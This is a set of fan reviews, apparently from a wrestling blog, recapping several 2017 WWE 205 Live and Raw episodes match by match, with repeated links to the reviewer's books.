The opening recap looks at the setup for the title match, including Tozawa signing with Titus Worldwide in exchange for the title shot.

Opening sequence.

The announcers preview the show as the ladders are cleared out.

Brian Kendrick vs. Jack Gallagher

Kendrick breaks the umbrella over Gallagher.

Mustafa Ali vs. Drew Gulak

Ariya Daivari vs. Cedric Alexander

Feeling out process to start until Alexander is sent to the apron for the springboard clothesline. Daivari avoids a charge and kind of hiptosses him into the corner to take over though, setting up a dropkick from the apron. We hit the chinlock for a good while until Cedric fights up with a kick to the head. Cue Dar for a distraction though, allowing Daivari to hit the hammerlock lariat for the pin at 4:57.

Post match Dar beats on Alexander and tells Fox (at home) that the Cedric Alexander chapter is over. Dar: “Yo Alicia! WE DID IT!”

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

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Date: June 20, 2017
Location: Nutter Center, Dayton, Ohio
Commentators: Vic Joseph, Corey Graves

Opening sequence.

Jack Gallagher vs. Tony Nese

Fallout from Nese telling the injured Austin Aries to get out of his ring last week. Gallagher wastes no time with doing the headstand in the corner to slow Nese down. They fight over a top wristlock until Gallagher eats (ok not really) a clothesline to the back of his head. We hit the Tree of Woe with Nese dropping to his back to kick Jack in the chest for a unique bit of offense.

Drew Gulak vs. Mustafa Ali

We look at Neville attacking Rich Swann last week on Raw.

WWE2K18 ad featuring Seth Rollins.

Tozawa is now sitting ringside courtesy of the Titus Brand.

Neville vs. Rich Swann

Non-title. Swann goes right for him and dropkicks the champ out to the floor. They roll around on the mat for a bit before another dropkick sends Neville outside again. Well to be fair Swann has done the same things since his debut so having him do the same thing twice in a match makes sense. Neville gets thrown outside for the third time and Swann hits a good looking running flip dive.

Neville stares Tozawa down to end the show.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

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Date: June 6, 2017
Location: Blue Cross Arena, Rochester, New York
Commentators: Tom Phillips, Corey Graves

Opening sequence.

Noam Dar vs. Cedric Alexander

Video on TJP winning the inaugural Cruiserweight Classic.

TJP says Neville has a TJP problem.

Mustafa Ali vs. Louie Valle

Ali grabs the wristlock to start but gets his throat snapped across the top rope. A hard ax handle to the chest gives Valle two and Louie stomps away in the corner. Ali comes right back with a kick to the head and the rolling neckbreaker but cue Drew Gulak with a siren before the inverted 450. Drew: “SAFE AND SOUND! FEET ON THE GROUND!” Not that it matters as Ali reverses a cradle into the pin at 3:34.

Gulak keeps talking on his bullhorn until Ali hits a running flip dive to take him down.

Cruiserweight Title: TJP vs. Neville

A Tarantula keeps Neville in trouble but he pulls TJP to the floor and stops to glare at the announcers. TJP is in big trouble back inside and a missile dropkick makes things even worse. The champ gets too cocky though and a backdrop sends him outside for a corkscrew dive and a big crash.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

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Date: June 1, 2017
Location: Bon Secours Wellness Arena, Greenville, South Carolina
Commentators: Vic Joseph, Corey Graves

Opening sequence.

Drew Gulak vs. Lince Dorado

From Raw!

We see a few minutes of Samoa Joe vs. Bray Wyatt vs. Finn Balor from Monday.

Heath Slater/Rhyno vs. Bo Dallas/Curt Hawkins

Roman Reigns vs. Seth Rollins

They circle each other to start with the fans being almost one sided behind Rollins. Reigns throws him around and stares Rollins down. Some big forearms send Rollins outside but he hits the jumping knee, followed by a clothesline over the top. A dive takes us to a break with a good deal of time left.

They head outside with Reigns going shoulder first into the steps, setting up a Blockbuster for another two. That great looking frog splash is still only good for a near fall but Rollins misses the third Phoenix Splash of the night. An enziguri sets up the windup knee but Reigns spears him down for the pin at 18:22.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

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